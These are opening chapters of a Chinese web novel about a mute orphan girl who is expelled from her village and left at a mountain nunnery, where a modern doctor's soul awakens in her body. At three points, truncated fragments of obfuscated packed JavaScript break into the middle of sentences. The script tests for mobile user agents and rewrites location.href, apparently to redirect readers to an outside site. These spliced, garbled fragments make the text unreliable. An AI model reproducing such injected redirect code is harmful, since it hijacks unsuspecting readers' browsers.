《杏林天香》 1. 第一章 许氏孤女 吴越境内,天目余脉,有一座南山,山脚下有个村落名落溪村,居住着几十户人家,以种植茶叶、打猎为生,有时也挖些毛笋、采些药材补贴家用。 落溪村村西头有一户许姓人家,家中夫妻二人。汉子叫许大郎,年近不惑,妻柳氏,三十七八岁年纪。夫妻二人是十几年前来此地落户的,以打猎采药为生,偶尔也替邻里瞧个头痛脑热的病。夫妻俩相依为命,柳氏一直不曾生育,二人愁得头发都白了一半,四处求神拜佛,寻医问药,用了不知多少汤药偏方,拜了多少神佛菩萨,却无甚效果。 一日,许大郎去镇上贩卖药材,听路人说镇上来了一位神算,能卜吉凶,断生死,通阴阳。许大郎心想:自己虽说精于岐黄之术,几十年来也瞧过不少疑难杂症,却始终也无法让妻子有孕,难道此生注定我许某人无子嗣?人都说医不自医,罢了罢了,既是有如此神算,何不让他起上一卦,算一算自己是否命里无子嗣?若是真无,那我也就死心了。想着,便将手中药材速速卖完,寻了神算,将自己来意诉说一番。 神算屈指掐算一番,道:“且家去吧,来日阿嫂便可有身孕。” 许大郎听了神算的话半信半疑,迟疑着把了几钱银子与神算,径直家去,当笑话说与柳氏听。柳氏听了,却暗暗心酸,也没将此事当回事。 过得几日,柳氏浑身懒怠,食欲全无,时伴有恶心呕吐。许大郎见状,忙上前捉了柳氏的手腕号脉,足足半晌,抚须且喜且惊,似是不大相信,忙又请了一位郎中家来瞧。郎中把了柳氏的脉,良久,方笑道:“恭喜恭喜,老嫂子这是喜脉。” 许大郎提着的一颗心瞬间便放了下来,与柳氏相对惊喜万分,遂多把了些银钱与郎中,喜笑颜开将郎中送走。 至此,许大郎精心照顾柳氏,万万不敢粗心大意。冬去春来,来年三月,果然生得一女。二人喜得贵女,逢人便夸,只道是上天垂怜,总算不负多年求神拜佛的诚心。 欢喜开心之际,夫妻俩商量给小女起个大名。商量来商量去,夫妻俩都拿不定主意。后来还是柳氏道:她记得小时候去外祖家,路过一处庄子,见那庄子里有户人家的园子里种了不少杏树。那年正是杏子成熟的季节,满树娇黄的杏子又大又圆,老远就闻到香甜的味儿,那味道一直留在柳氏的记忆中,如今还能想起那味道来——不如就起名叫娇杏吧! 许大郎听了也十分赞同。 娇杏满月,夫妻俩请邻里乡亲吃满月酒。乡亲便让抱出娇杏儿瞧瞧,柳氏穿戴齐整,用小碎花被子抱出娇杏,大家齐上前观看。只见襁褓中躺着一个眼珠黑漆漆的小人儿,小身板也白胖白胖的,养得十分好看。大家纷纷夸赞,都道许大郎夫妻有福气,柳氏老蚌怀珠,娇杏往后必有大造化。 时光荏苒,匆匆两年多过去,娇杏两岁多,都会满地跑了。有一天,邻居张婶子来串门,看见娇杏坐在树下的矮凳上看柳氏剥豆子,很是乖巧,便笑道:“她婶子,还是小细娘省事,不哭不闹的。我家二郎才九个月,可淘气啦!成天价地闹腾,会喊阿爹、阿娘。你家娇杏也差不多两岁半了,可会说许多话了吧?” 柳氏听了一愣,心想:是呢,我家娇杏怎还不能开口?自己每日都抱着她让喊娘亲,可娇杏只是瞪着一双大眼睛看着她,就是不喊人。自打娇杏一岁,自己和她阿爹每日都围着娇杏让她喊人,可她就是不开口。自己还想着是不是这孩子说话晚,可现在都两岁半了,村里的孩子像她这么大的都会说话了,就是老夏家的春生小郎,虽说比娇杏还大一个月,可也会叫人了。莫不是娇杏有什么问题?可平时自己也和当家的观察,觉得这孩子没什么问题啊! “许是孩子还小。”柳氏温柔地看了娇杏一眼,摸了摸娇杏的头:“这不才两岁多点?万家沟杨发财家前儿出嫁的秀竹,不是也三岁才开口说话。”柳氏对张婶子道。 张婶子哼哼笑道:“也是,这都是孩子的造化,释迦佛爷管着呢!他老人家要是不让你开口,你就是想说话也是不成的。” 到底会不会说话?管释迦佛爷什么事! 柳氏听了张婶子的话心里十分不喜,便没有接她的茬。可她对佛祖其实很虔诚的,虽然心里有那么一句,却连忙暗中呸了自己一声。佛爷勿怪,是信女失礼了,过几日就去给您老人家添些香油钱。 张婶子见柳氏低头剥豆,也不搭腔,便觉没趣,坐坐也就走了。 如此又过了一年,娇杏已经三岁多了,却依然不言不语,不哭不笑,急得许大郎两口子起了一嘴燎泡。许大郎暗中请了无数郎中来瞧,都道瞧不出什么病,无能为力。后儿遇到一个游方郎中瞧了,斟酌良久才遗憾道:“怕是不会说话的聋哑儿,病乃胎里自带,请恕老儿无能为力。”说着摇头叹息而去。 两口子听了顿时震惊万分,老泪横流。柳氏更是心疼交加,抱着娇杏儿大哭,许大郎也是唉声叹气。两口子一夜愁白了头。 自此,两人心疼之余,对娇杏儿更加爱惜。 邻里乡亲知道了此事,暗暗叹息,都道许大郎两口子命苦,一直求子,终于求到了,却是个聋哑儿,就是长大了也没有谁家敢要,这婆家是指定难找。 许大郎两口子伤心许久,虽然觉得有些遗憾,可日子还是要过,更何况娇杏虽然不会说话,却十分乖巧。想着娇杏再大些,就带着娇杏多找些郎中瞧,或许娇杏有造化,说不定就能给治好了。 娇杏七岁那年,许大郎进山打猎不慎遇到了黑瞎子。等村民找到的时候,许大郎已经不行了,抬回家没多久就没了。柳氏伤心之下一病不起,蹉跎了半年多,也跟着去了,留下年仅七岁的娇杏。 随着日子一日日往后推,邻居看娇杏的眼神从开始的怜惜到漠视,再到看见娇杏就躲。不知从何时起,村里传出一股流言,说娇杏是恶鬼转世,生来命硬。这不,前头克死了爹,后头又克死了娘,往后啊,那可不好说了!不定克死离她最近的人呢!嫁人就别想了,就她那样儿,谁家会要个聋哑儿? 好事不出门,坏事传千里。一传十,十传百,十里八村的都知道落溪村有一恶鬼转世的哑巴女,克死了父母。村里的孩子只要见到娇杏,不是追打,就是谩骂。娇杏一个不会说话的孤女,吓得不敢出门,整夜躲在房间不得入眠。 村里人都说她是恶鬼转世,嚷嚷着赶走她。村里大多数都是张姓人,耆老也是张家的。耆老与村里有头脸的人经过商议,便分割了娇杏家的几亩田地与池塘,还有山上的几亩毛竹。就连娇杏家的房子,也被耆老分给了他的一个亲戚。娇杏被赶出了村,无家可归。 柳氏活着的时候,跟村东头的李婆子算是有几分交情。许大郎曾救过李婆子丈夫的命,因着这层关系,柳氏又有临终托付之言,李婆子便将娇杏带回家住。谁想被李婆子大儿媳妇知道了,闹到二郎家来,哭天抢地、撒泼谩骂,搅得全村人都知道。全村人都指责李婆子不顾大家安危,将一个祸害留在村里。要是再不赶出村,就在全村人面前被沉塘! 李婆子一个妇人,虽说为了报恩,可触犯了众怒,她也没办法。被逼无奈,李婆子答应将娇杏带出村。只要不出现在落溪村,村民也就随她了。 李婆子带着娇杏,背着一个包袱,手牵着她往后山水月庵而去。顺着这条路走上差不多一个时辰,就到水月庵了,这也是李婆子深思熟虑后的决定。 李婆子家境贫寒,育有两子一女,老伴儿早就过世了,儿子也都已娶妻生子,女儿早已嫁了人,嫁在邻村。老伴儿临死前将家分了。原本李婆子是跟大儿子一起过,可架不住大儿子娶了个悍妇,每日里不是指桑就是骂槐。又赶上二儿媳病没了,留下两个孙儿无人照看,二儿子成天在外游手好闲、不务正业,好好一个家,被他折腾得一穷二白。眼看着二儿子不成器,两个孙子连顿饭也吃不饱,李婆子只好去了二儿子家,帮着二儿子家做点事,照看孙子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222012|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今日能带着娇杏来庵里投靠,李婆子前思后想,深思熟虑:想着娇杏命硬,又是聋哑儿,这方圆几十里的人家都知道这事,谁还敢收养她?躲还来不及呢!但神佛就不一样。在李婆子潜意识中,其实她也是有些怕娇杏的,怕沾上她,自家会不会被克?她自己倒不要紧,就怕克着大郎、二郎他们,那就得不偿失了。虽然李婆子想报恩,但也是在不伤害到自己的前提下。 水月庵庵主是一位年近三十的尼姑,人称水仙姑,长得颇有几分姿色。她见李婆子带来的是一哑女,便有些不喜,上下打量了一番,觉得娇杏虽然不会说话,但却长得还算周正。便打发人带娇杏跟着几个还没有剃度的小尼姑住在一起,又命她每日里早起打扫院子、房间,并帮着庵里的尼姑挑水洗衣做饭。 时年正好冬月,山里天气尤为寒冷,娇杏才七岁,哪里吃得这样的苦?每日天不亮就起床,不是挑水就是洗衣,打扫庭院。才一个来月便累病了。庵主越加不喜娇杏,嫌弃她不能做活还让庵里养着,便使人将娇杏挪到了庵堂后面荒废的茅屋。 没想到就在娇杏病倒的第二夜,也不知是小尼姑没有照看好观音殿的香烛还是怎么的,引燃了桌布,观音殿走了水,被烧去了半边。虽没伤着人,但也折腾了大家一晚上。 水仙姑气得七窍生烟,将一众尼姑召集起来斥骂半日。其中一个长着一双三角眼、嘴角边有一颗黑痣、相貌极其刻薄的叫静非的尼姑,她一直站在水仙姑身后,这时却上前一步,在水仙姑耳边一阵嘀咕。水仙姑听后使劲拍了一下桌子,恶狠狠地骂了一句:“这个祸害!” 然后吩咐静非去茅屋将娇杏拎过来,让她跪在烧得只剩一半的观音殿前忏悔。娇杏烧得迷迷糊糊的,被人按倒在烧得焦黑的地上,整整跪了一夜。次日,等她被人架回茅屋的时候,已经只剩下半条命了。 谁想就这也不能让水仙姑解恨。她让人叫来泥瓦匠,将通往后山茅屋的门封死了,并对所有尼姑说:“恶鬼转世之人,走到哪里哪里就会有祸事。从今往后,不许那个祸害再踏入庵里半步!谁要是放进那个祸害,就在菩萨面前跪七七四十九日,三日不许进食!” 这是要让娇杏自生自灭的节奏啊!可怜娇杏就这样不但累病无人照顾,还被折磨得只有出气无进气了。 这日,李婆子在自家院子里喂鸡,就见二儿子家二郎和张婶子家大郎嘻嘻哈哈、推推搡搡冲进来。俩人在院子里一顿忙乎追赶,顿时鸡飞狗跳。李婆子气得呵斥了几声,赶着俩小子让出去闹腾。二郎嘻嘻哈哈躲着李婆子手中的笤帚,钻进厨房摸了半块李婆子刚刚烤好的笋,窜出了房门。 李婆子气得跳脚直骂:“那是给你阿爹留着下酒的,你个混小子!偷吃了仔细你阿爹家来打你!” 二郎鼓着个腮帮子嬉笑道:“我就吃了半块,还有好几块在灶台上呢!那些我阿爹尽够了。”说着扬了扬手中咬了一半的烤笋:“阿婆,我去大锤家了,大锤他阿爹打猎回来了,还说后山水月庵走了水。”说着拉着张家大郎出门跑了。 李婆子听了二郎的话愣住了,半晌方回过神,张口要喊二郎问个明白,一抬头不见二郎的影子,急得在院子里乱转。 心想:水月庵走了水?这娇杏才去不到俩月,不会是出了什么事情吧!想着许久不见娇杏,也不知道她如今过得怎么样。这水月庵走了水,会不会与她有关?自打上回送了娇杏去水月庵,过了一月,她又去了一回,发现娇杏比一月前瘦了,她这心里就一直揣着忐忑。那水月庵的庵主水仙姑瞧着不是个好相与的,可怜娇杏小小年纪便没了爹娘,村里又为着这事容不下她。自己为着报恩,才偷摸将人送到那里,别是出事了吧!若真是出了事,自己这岂不是害了她? 不行,怎么也要去瞧瞧。 想着,抬头看看天色尚早,便进屋拾掇了一番,怀里揣了些干粮,匆忙出了村子,转道拐上后山的近路,一路往水月庵而来。 2. 第2章 开口说话 李婆子自从送娇杏来水月庵后,第二回来给她带了床被褥,知道娇杏和几个小尼姑住在后院。如今她走到水月庵前,却见庵门大开,门前有两个婆子正往里搬东西,水仙姑站在边上,一脸严肃地说着什么。李婆子心里一惊,急忙闪身躲到庵前一棵大树后,探出半个脑袋往前张望,见水仙姑说了几句话便转身进去了。 李婆子抹了抹额头的汗。不知为何,她一见水仙姑就觉得心慌,不敢与她直面。眼下见水仙姑进了庵,李婆子便寻思找个人打听打听,看看是怎么回事。 今日怎地门前聚了这许多人?娇杏又在哪儿? 她正要从树后出来,就见庵里又走出一个小尼姑。李婆子定睛一看,心中顿时一喜,忙上前笑道:”静尘小师父。” 原来这叫静尘的尼姑,李婆子是认得的。她本是前任庵主的弟子,前任庵主与李婆子还沾着表亲。那尼姑见是上回送娇杏来的李婆子,先是一惊,四下张望一番,赶忙将李婆子拉到一旁,附耳低语了几句。 李婆子听得又惊又气。 这水仙姑真不是个东西!观音殿走了水,怎能怪到娇杏头上? 谢过静尘,李婆子便依着她的指点,绕过水月庵,往后山那间小茅屋走去。山路僻静,平日里少有人行,幸得李婆子土生土长,对山上路径十分熟悉。 顺着小路七拐八弯来到茅屋前,只见篱笆门虚掩着。李婆子上前轻轻一推,门便开了,里头没上拴。 走进小院,李婆子环顾四周,只见荒草丛生,墙边的野草长得比人还高。她看着心里发酸:没娘的孩子,可怜呐!自己也不能常来看她,这回还是偷偷来的。若让村里人知道她这般行事,只怕也脱不了干系。唉,也只能看这孩子的造化了。 “当家的,娇杏她爹曾救过你的命,我这也算是报了恩。就是死了,也有脸去见你了……”李婆子心里默默念叨着,朝屋里喊了一声:“娇杏儿,阿婆来看你了!” 她明知娇杏听不见,心里却忍不住盼着:哪怕有朝一日,这孩子能应她一声,该多好。 李婆子走到屋前,见屋门半掩,便推门又唤道:“娇杏儿,阿婆来了。” 话音刚落,便见门缝里探出一张小脸,戴着顶灰色比丘尼帽,脸色紧绷,一双黑白分明的眼睛水汪汪的,怯生生地望着她,小嘴抿得紧紧的。 李婆子一见这张小脸,眼角皱纹不由得挤到一起,露出笑意:“乖囡,瞧阿婆今日给你带了什么好吃的:“有年糕,还有烤笋,快过来。”她一边招手,一边从怀中掏出一个荷叶包,展开来朝娇杏示意。 “快过来吃,这笋还热乎呢!阿婆晓得你喜欢。” 见娇杏仍扒着门框不动,李婆子轻轻叹了口气,心中凄然:老天爷也真是不公! 她走过去,将娇杏拉到床边坐下,把荷叶包放在屋里唯一那张破竹凳上,抬手轻抚娇杏的头发:“乖囡啊,你是不是怨阿婆了?怨阿婆这么久没来看你?可阿婆也是不得已,唉……” 李婆子长长叹了口气,半晌没再说话,只是一下一下抚着娇杏的头。 “快吃吧。”她拿起竹凳上的烤笋递给娇杏。 娇杏迟疑片刻,才伸手接过。 李婆子欣慰地笑了笑,替娇杏扶正有些歪斜的帽子。见娇杏睁着一双大眼睛,一眨不眨地望着自己,李婆子柔声道:“你这小乖囡,眼睛生得跟你娘一模一样。你娘刚来村里时我还记得,穿着绸缎衣裳,那张脸就跟细白瓷似的,简直像从画儿里走出来的仙女。咱十里八村的小娘子,没一个及得上她。你爹也生得英武不凡,那时节,村里的小姑娘们不知多羡慕你娘,都说她好福气。可这福气不福气的,也得看人往后的造化。娇杏啊,你们老许家就剩你一条根了。你娘走得急,许多事来不及交代,只托我照看你。阿婆应下了,可阿婆却没做到你娘嘱托的那样——不是阿婆不愿,是阿婆身不由己。你爹娘都是好人啊,可好人不长命……” 说着说着,李婆子眼眶就红了。她把娇杏搂进怀里,轻拍着她的背,又忍不住自言自语:“娇杏又听不见我说话……你说你个老货,唠叨这些干啥?娇杏还小呢。上回送来的吃食也不知吃完没有。本想着庵里总能照顾一二,如今看来,怕是不成了。那水仙姑真不是个好的,既是伺候菩萨的人,原该有几分菩萨心肠,谁想竟这般歹毒。这可如何是好?不如……把她送去三娘家?不妥,三娘那婆婆心眼小,又爱动歪心思,送过去怕是还不如这儿,好歹有个容身之处。唉,难呐!” 李婆子自顾自琢磨了半晌,正拿不定主意,忽觉怀里那瘦小的身子轻轻挣了挣。她回过神来,忙松开娇杏,笑道:“乖囡,怎么还不吃?快吃吧,看这都凉了。天冷,阿婆怕凉着一路揣在怀里,连二郎都没让多吃……” “阿婆。” “哎。” 李婆子正催着,忽听一道细微稚嫩的声音从对面传来。 她下意识应了一声,随即猛地一愣,慌忙四下张望——刚才……是有人喊她? 许娇娇见老婆婆伸着脖子往门口张望,神色惊疑,忙又小心翼翼地唤了一声:“阿婆。” 李婆子这回真真切切听清了,惊得从床边猛地站起,瞪大一双布满皱纹的眼睛,直直盯着许娇娇,嘴唇哆嗦着:“娇、娇杏儿?乖囡,你……你能喊阿婆了?你、你听得见了?” “嗯。”许娇娇舔了舔干涩的嘴唇,斟酌着开口,“阿婆,您别急,先坐下,听娇杏慢慢说。” 李婆子颤巍巍跌坐回床头,又是激动又是心酸,老泪止不住往下淌。她用袖子抹了抹眼泪,盯着眼前的小人儿,眼睛都不敢眨,生怕这是一场梦。 “娇杏儿,你、你掐阿婆一下,阿婆这不是在做梦吧?咱的乖囡真能开口说话了?” 许娇娇望着眼前老人,心底一阵悸动,眼眶蓦地发热。这两日担惊受怕、万念俱灰,强撑的那股劲儿,在这一刻倏然瓦解——原来这世上,终究还有人真心关切着她。 穿越这事,谁又想呢?谁放着好好的日子不过,偏来这荒山野岭遭罪?可事已至此,至少……她还活着。 许娇娇冰封的心,悄然裂开一丝暖意。她踮脚爬上床,挨着李婆子坐下,仰脸露出一个甜软的笑:“阿婆,娇杏前几日染了风寒,病得昏沉时做了个梦。梦里有一位白胡子老爷爷,他说我前世修行不足,今生投胎时只开了五窍。如今机缘巧合来到水月庵,沾了菩萨的灵光,剩下两窍便也通了。老爷爷还说,让我暂且住在这儿,待哪日修行圆满,他自会再来托梦告诉我。他还嘱咐……我能开口说话的事,眼下万不能叫旁人知道。” “竟有这等事!”李婆子闻言大吃一惊,再细看眼前的小娘子——原先那聋哑木讷的模样全然不见了,此刻说起话来条理分明,眼神清亮,小脸透着灵气,俨然有了孩童该有的鲜活气儿。 人常说圣人有七窍,一窍不通便是呆木,何况这孩子原先聋哑两窍闭塞,难怪总如木雕泥塑般。如此想来,娇杏所言不虚,定是神仙点化。 李婆子想通了这一节,暗自点头,长舒一口气,双手合十喃喃道:“真是神仙显灵,乖囡有造化,竟能逢凶化吉。你梦里那位老爷爷,怕是哪位仙家特来点化你的。这可是几世修来的福分!” 听了这话,许娇娇悬着的心才稍稍落下. 看来古人果真信鬼神之说,李婆子并未起疑。只是自己病愈之事,确不能张扬。落溪村那些人本就对她心存偏见,若知晓她忽然能言能听,还不知要生出什么事端。 前身残留的记忆碎片里,似乎家里原是有房有地的,只不知如今还在不在…… “阿婆,”她试探着问,“梦里老爷爷让我住这儿,那……村里我家的房子怎么办?” 李婆子一愣,神色微僵,抬手摸了摸她的头:“神仙既让你住这里,你便好生听神仙的话,莫淘气。自你爹娘过世,村里那几间房因无人居住,已分给别家了。如今那都是别人的屋子。你一个小囡囡,便是回了村,也守不住那些田产房屋。” “这样啊……”许娇娇听了,心头一阵憋闷——这也太欺负人了!可转念一想,自己眼下这般模样,真回了村,恐怕连性命都难保。幸得还有李婆子照应,她暗暗感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222013|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激,发誓往后定要报答这份恩情。 李婆子见天色渐晚,便起身告辞,又絮絮叮嘱了许多,才依依不舍地离去。 许娇娇一直将李婆子送到门外,目送她的身影隐入竹林深处,才转身进屋,轻轻闩上门。山里天黑得早。不远处溪水潺潺,伴着几声鸟鸣;偶有山风拂过竹林,沙沙作响。天气依旧寒冷,阴湿刺骨。 难怪原主没能熬过去,倒让她捡了这个身子。记忆中,水月庵的小尼姑静尘曾送了两件改小的旧尼袍,如今她身上穿的便是其中之一。若非有这麻絮袍蔽体,在这寒夜里,怕真要冻得穿回去了。 对许娇娇而言,生火做饭并非难事,难的是无米下炊。李婆子当初送娇杏来水月庵时,几乎什么也没带,只道庵主既是修行之人,总不至见死不救。可她料错了——并非所有诵经礼佛之人都怀慈悲心肠。那水仙姑虽收留了娇杏,却未存半分善念,只把这七八岁的孩子当作劳役,病了便丢到庵外任其自生自灭。这般铁石心肠,实非常理可度。 后来李婆子偷偷来过一次,带了吃食与麻絮被褥,又帮着收拾了屋子,连旁边那间石头垒的小厨房也拾掇了一番,还手把手教娇杏生火做饭。 这小厨房紧挨着主屋,里头竟有锅灶。灶台上搁着一只破瓦罐、两只豁口的粗碗,想来从前曾有猎人或是农户在此落脚。幸得这些旧物,否则许娇娇真要喝西北风了。 这两日,她也勉强做了两顿饭。光是点火便费尽周折——打火石擦了大半个时辰,几乎要效仿古人钻木取火。就在她几乎放弃时,火星终于燃起。第一顿是野菜汤,第二顿热了剩汤,里头好歹撒了把糙米,也算是一碗薄粥。那糙米还是上回李婆子带来的,约莫还剩四五斤。 好在今晚有李婆子新送来的一个烤笋、三块硬邦邦的年糕。年糕省着吃,还能对付三两日。 唉,真是艰难。这小小身板能做什么呢?孤零零一个人,无亲无友,连只猫狗相伴也无。在这寂静深山里,长久无人说话,怕是人也要痴了。若这般过下去,几年后的自己,会不会也变得如原主那般沉默如木? 徐娇娇站在院中,双手叉腰,仰天长长吐出一口气。 革命方才开始,同志尚需努力。许娇娇,振作些,最绝望的日子已经过去了,这两日还没接受现实么? 夜晚躺在四面透风的茅屋里,许娇娇裹紧被子,又冷又怕。黑暗有时也是一种庇护——至少在被褥包裹的这一刻,她感到一丝微弱的安全。溪流声在夜色中格外清晰,其间夹杂一两声不知是野兽还是山鸟的啼鸣。 许娇娇在暗夜的包围中不自觉流出了眼泪,将有些干硬的枕头都哭湿了。 可穿越这种事玄之又玄,不是人力能参透的。她轻叹,罢了,明日事明日再想罢,今夜先睡个好觉。这里实在太孤清了,还是养条狗吧,好歹有个活物作伴。在迷迷糊糊间她睡去。次日清晨,许娇娇去不远处的溪边掬水洗了脸,回到石灶厨房,踩在两块垒起的石头上,煮了来这里后最像样的一顿早饭——野菜汤就年糕。 吃饱喝足,她摸着微微鼓起的小肚子,在院里转悠。原主这身子底子不差,刚穿来时还头晕体虚,这几日未用药,风寒竟也好了大半。只要不是弱不禁风,能自力更生便是最好。 她在西墙角找到一把生锈的镰刀和一只竹编篮子。昨夜思忖半宿,眼下最要紧的便是填饱肚子。余粮所剩无几,总不能日日指望李婆子接济。看李婆子言行衣着,也非宽裕人家。授人以鱼不如授人以渔,终究得靠自己。 从此,她便是娇杏了。既然占了这可怜女孩的身子,便替她好好活下去罢。 出了篱笆门,娇杏挎着篮子、提着镰刀往山里去。前世她是一名中医师,她出身中医世家——祖父是研究院教授,父亲任中医院院长,母亲亦是主治医师。自幼耳濡目染,认药草、背《汤头歌》、读《黄帝内经》便是她童年的全部。同龄女孩学琴跳舞时,她在读医书;旁人恋爱成家时,她还在读医书。好容易事业有成,一场山体滑坡,却将她送到这里。 这大约便是她前世恢弘人生的终章。 3. 第3章 静尘师姐 山路不熟,她不敢深入,只沿着一条踩出的小径缓行,边走边留意两旁植被。道旁毛竹挺拔青翠,溪水声自不远处隐隐传来。虽是冬季,草木多枯,竹林却依旧茂盛。她以镰刀轻掘,便能辨出根茎是否可作药材。这般边走边采,沿溪而上,不过一个半时辰,篮中竟已有了五六种药草。 看着将满的篮子,娇杏抹了抹额间薄汗,直起身子。从林隙透下的日光判断,已近正午。她放下镰刀,在溪边洗净手上泥土。溪水清冽,映出一张戴灰尼帽的小脸——淡眉秀目,鼻梁小巧,唇色浅粉,肤色白皙。她蹙眉,水中影亦蹙眉;她伸手搅乱水面,倒影霎时破碎。 这张脸与自己前世相差甚远,或许因年岁尚幼,总透着一股怯生生的不安。 娇杏轻叹一声,起身在衣上擦了擦手,提篮沿原路返回茅屋。 将草药与野菜分开摊在干净地面上——野菜午间煮粥,药材洗净晾晒。她虽懂得炮制之法,如今却无力施行:年纪小,气力弱,工具药材俱缺,只得从简。 她对这世界一无所知:不知何朝何代,不明身在何方,亦不晓此间的医术发展到何境地。 日头正盛时,她热了早上剩下的野菜粥,只放了一丁点盐。缺油少盐,饭食寡淡,人也没力气。这时代盐价似乎不菲,上回李婆子用纸包捎来一小撮,颗粒粗大,仅婴儿拳头大小。 正午阳光暖融融地照着,娇杏坐在院中石墩上,托腮望天,怔怔出神。 篱笆门“吱呀”一声轻响。 娇杏抬头望去,见一袭灰袍的尼姑跨进门来——正是静尘。她年约十二三岁,眼形细长,面色略显苍白。 娇杏忙起身相迎。 “小施主可安好?”静尘露出恬静笑意,抬手比划着,“贫尼这几日下山化缘,未得空来看你。身子可大好了?”说着将手中一个粗布包袱搁在一旁,低头端详娇杏。 娇杏任她端详片刻,佯作怯生生地轻唤:“静尘姐姐。” 静尘倏然瞪大双眼,话音微颤:“你——你会说话?不,小施主不是……” 娇杏知她惊诧,轻轻摇头,又点点头。 “从前不能,后来做了个梦……”将那套“白胡子老爷爷”的说辞又述了一遍。 静尘怔了怔,旋即了然颔首:“原是如此。阿弥陀佛,小施主果真有造化。”她顿了顿,低声道,“只是小施主年纪虽幼,容貌本已出众,若让水仙姑知你病愈如常,只怕要生事端。” “小施主来。”静尘牵起娇杏的手,引她在石墩坐下,“你会说话之事,暂且莫让旁人知晓,尤其是庵中他人,可记住了?” “为何呢?”娇杏故作懵懂。 “是为小施主好。”静尘怜惜地抚了抚她的发顶,“你尚年幼,往后自会明白。”转而温声问,“这些日子过得可还妥当?” “我好多了,多谢静尘姐姐牵挂。” 静尘微微一笑,指向那包袱:“这是我化缘得来的些须吃食,你收着慢慢用。天寒,能放些时日。” 娇杏望向那鼓囊囊的包袱:“里头是什么?” “不过是几个炊饼、包子,还有一小袋稻米。” 静尘拉过娇杏的手握在掌心,又轻触她衣袖:“手这样凉,可还冷?我那儿有件旧袍,稍显宽大,明日改小了给你送来。过几日下山,再替你化些布料,做两身换洗衣裳——你非出家之人,总穿尼袍不妥。” 娇杏任她握着手,心中滋味复杂。自己一个年近三十的魂灵,被这半大少女如幼妹般关怀,又是别扭,又是暖意暗生。抬头望见静尘平和的面容,只觉那眉眼格外温柔可亲,眼眶竟有些发热。她忙低下头,细细应着静尘的叮嘱。 “……你还小,若是……若有机会,还是远远离开此地为好。”静尘欲言又止。 “静尘姐姐放心,”娇杏仰脸,睁着明澈双眸,“我不会扰庵主清静,也不必倚靠庵里。我能上山采野菜野果,不会饿着自己。” 静尘静默良久,终是轻叹一声:“……此处,终究非久留之地啊!” 小施主毕竟年幼,那些腌臜事,不提也罢。待她再大些,便替她寻个良善人家安顿。一切,且看造化吧。我佛慈悲,阿弥陀佛。 娇杏暗想:七岁身躯装着三十岁的灵魂,学孩童说话倒不算难事。静尘临行那番话,她一时未解深意,却也未多思量。 本就不打算在此久居,待药材攒足,便寻机进城看看吧!或许另有出路。 静尘离去后,娇杏急急解开包袱,里头除一小袋糙米,还有十来个拳头大小的包子馒头。虽已凉透,仍松软可口。她拿起一个咬下,是白菜馅的,清香素净。一连吃了两个,才想起静尘是尼姑,化缘所得自是素食。 有这样一个姐姐,真好。日后若得机缘,定不能忘了这些曾予她温暖之人。 接下来的日子,许娇娇除了每日上山采药、挖野菜,还趁着空闲,用镰刀将院中杂草一一砍去。幸得此处早先有人居住,留下几样农具,这几日天气晴好,未遇雨水,倒也方便。她年纪小,力气弱,每日忙得汗流浃背,夜里烧水略作擦洗,倒头便睡,连梦也不做一个,一觉直睡到天明。 接连忙了一个来月,院子总算有了几分模样。 这一日,静尘又来了,带来些粗布、一件旧袍并鞋袜,还有两身崭新的粗蓝花布麻絮袄,另有些许吃食与一包盐。许娇娇早已习惯与她亲近——左右这身子还是孩童,便再装一回嫩罢。 她欢喜地蹭在静尘臂边,像只依人的小猫。静尘心下一片柔软,含笑道:“小施主,且试试这棉袍可合身。上回带的吃食可都用完了?今回我又捎了些来。” “静尘姐姐真好。”许娇娇仰脸望着她,满目敬慕,“我昨儿才吃完,今儿姐姐就来了。莫非姐姐会掐算?好生厉害。还有,姐姐别唤我小施主了,往后我便认你做姐姐,嫡亲嫡亲的姐姐——你叫我娇杏罢!” “这如何使得!”静尘连忙摆手,“不可不可。贫尼乃出家之人,四大皆空、六根清净,小施主切莫妄言。” “这样啊……”许娇娇见她非但不应,反倒着急,心头一阵失望。原来出家人是不能有亲朋的么? “静尘姐姐,”她轻声问,“那你还有家人么?他们为何让你出家?” “贫尼……不知。” 静尘听她问起家人,怔了怔,神色有些茫然。自己应当是有家人的罢?是人,总该有家人的。可他们又在何处?似乎自记事起,她便一直在庵中生活。出家人讲求四大皆空,每日除随师父打坐、诵经,便是下山化缘,倒真不曾思量过家人之事。 不过,有无家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“菰城?大越?”许娇娇搜肠刮肚,也想不起“大越”是何朝何代,“那……皇帝是谁呢?” “小施主慎言!”静尘神色一肃,“天子的名讳,岂是我等可直呼的?不过……”她压低声音,“贫尼悄悄告知你:我大越国姓乃姬。” 言罢,她起身道:“你年岁尚小,知道这些也无甚用处。只是小施主切记——你开窍之事,万不可让庵中他人知晓,以免招惹祸端。贫尼告辞,小施主多多保重。”说完,她便转身离去。 